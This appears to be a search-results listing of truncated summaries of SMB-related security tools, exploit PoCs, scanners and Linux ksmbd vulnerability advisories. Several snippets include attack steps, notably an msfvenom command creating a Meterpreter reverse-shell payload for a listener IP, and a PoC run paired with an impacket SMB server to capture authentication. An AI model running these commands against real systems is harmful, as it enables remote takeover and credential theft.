651 matches found
pipe_finder
Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...
MSFinger
MSFinger - Microsoft Network Service Fingerprinting Tool Version: 1.0 Author: Laurent Gaffie Company: Secorizon Overview MSFinger is a high-performance network fingerprinting tool designed for internal network reconnaissance. It rapidly identifies Microsoft services, detects security...
CVE-2020-0796-DoS
CVE-2020-0796 DoS PoC SMBGhost A simple demonstration exploiting CVE-2020-0796. This script will induce a BSoD in vulnerable machines. Pure Python 3 with no additional dependencies required. Usage python CVE-2020-0796-DoS.py Credit Hard-coded packet data was derived from this PoC script by maxpl0...
cve-2019-1040-scanner
CVE-2019-1040 scanner Checks for CVE-2019-1040 vulnerability over SMB. The script will establish a connection to the target hosts and send an invalid NTLM authentication. If this is accepted, the host is vulnerable to CVE-2019-1040 and you can execute the MIC Remove attack with ntlmrelayx. Note...
SMBetray
SMBetray Versión 1.0.0. Esta herramienta es una Prueba de Concepto PoC para demostrar la capacidad de un atacante de interceptar y modificar conexiones SMB inseguras, así como comprometer algunas conexiones SMB seguras si se conocen las credenciales. Antecedentes Publicado en Defcon26 en "SMBetra...
SMBv3.1.1-scan---CVE-2020-0796
SMBv3-scan---CVE-2020-0796 Little scanner to know if a machine is runnig SMBv3 possible vulnerability CVE-2020-0796...
CVE-2025-55234
CVE-2025-55234 Esta vulnerabilidad permite a los atacantes realizar ataques de retransmisión contra el protocolo SMB Server Message Block. Si tiene éxito, puede conducir a una elevación de privilegios EoP, permitiendo esencialmente que usuarios no autorizados obtengan acceso de mayor nivel en un...
cve-2023-23397-detection-lab
CVE-2023-23397 Detection & Mitigation Research Lab Overview This project is a defensive cybersecurity research lab focused on the network behavior associated with CVE-2023-23397. The project studies suspicious outbound SMB and NTLM authentication from a Windows endpoint and demonstrates a complet...
CVE-2021-34527
CVE-2021-34527 PrintNightmare PoC 👾 📝 Description This simple Python script allows you to send a payload to a target IP address and port using the SMB protocol. It's designed to demonstrate the use of an SMB exploit payload for educational purposes. The payload is a hard-coded SMB message...
MSF_PassSpray_Wordlist_Generator
Password Spray Wordlist Generator A handy tool that helps you to create your own wordlist for Metasploit framework, in order to carry out a password spray attack against various network protocols in your victims' domain, such as SMB : Description Metasploit has multiple modules that can be utiliz...
CVE-2020-0796-POC
CVE-2020-0796 Pre-Auth POC c 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes POC to check for CVE-2020-0796 / "SMBGhost" Expected outcome: Blue Screen Intended only for educational and testing in corporate environments. ZecOps takes no responsibility for the code, use at you...
CVE-2022-24500
CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin step 2 msf5...
Astra Linux – Vulnerability in Linux 5.15
A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...
Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1
In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: The “binding mark” of a reused connection was unset. Steve French reported a null pointer dereference error from the sha256 lib. The cifs.ko module can send session setup requests using a reused connection. If a reused...
Astra Linux – Vulnerability in Linux 5.15
A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the processing of SMB2SESSIONSETUP and SMB2LOGOFF commands. The issue arises due to the lack of proper locking when performing operations on an object. An...
Astra Linux – Vulnerability in Linux 6.1
In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fixed an issue where shareconf was freed after use, in compound requests. smb2getksmbdtcon reuses work-tcon in compound requests without validating tcon-tstate. ksmbdtreeconnlookup checks that tstate is equal to...
Astra Linux – Vulnerability in Linux 5.15
A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw resides in the handling of SMB2SESSIONSETUP commands. The issue arises due to a lack of control over resource consumption. An attacker can exploit this vulnerability to...
Astra Linux – Vulnerability in Linux 5.15
A issue was discovered in the Linux kernel before version 6.3.9. ksmbd does not validate the SMB request protocol ID, resulting in an out-of-bounds read...
CVE-2025-24071-POC
sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...
PT-2026-82703
Name of the Vulnerable Software and Affected Versions Spring Integration versions 6.4.0 through 6.4.12 Spring Integration versions 6.5.0 through 6.5.10 Spring Integration versions 7.0.0 through 7.0.5 Spring Integration version 7.1.0 Description The jCIFS client may negotiate down to SMB1/CIFS if...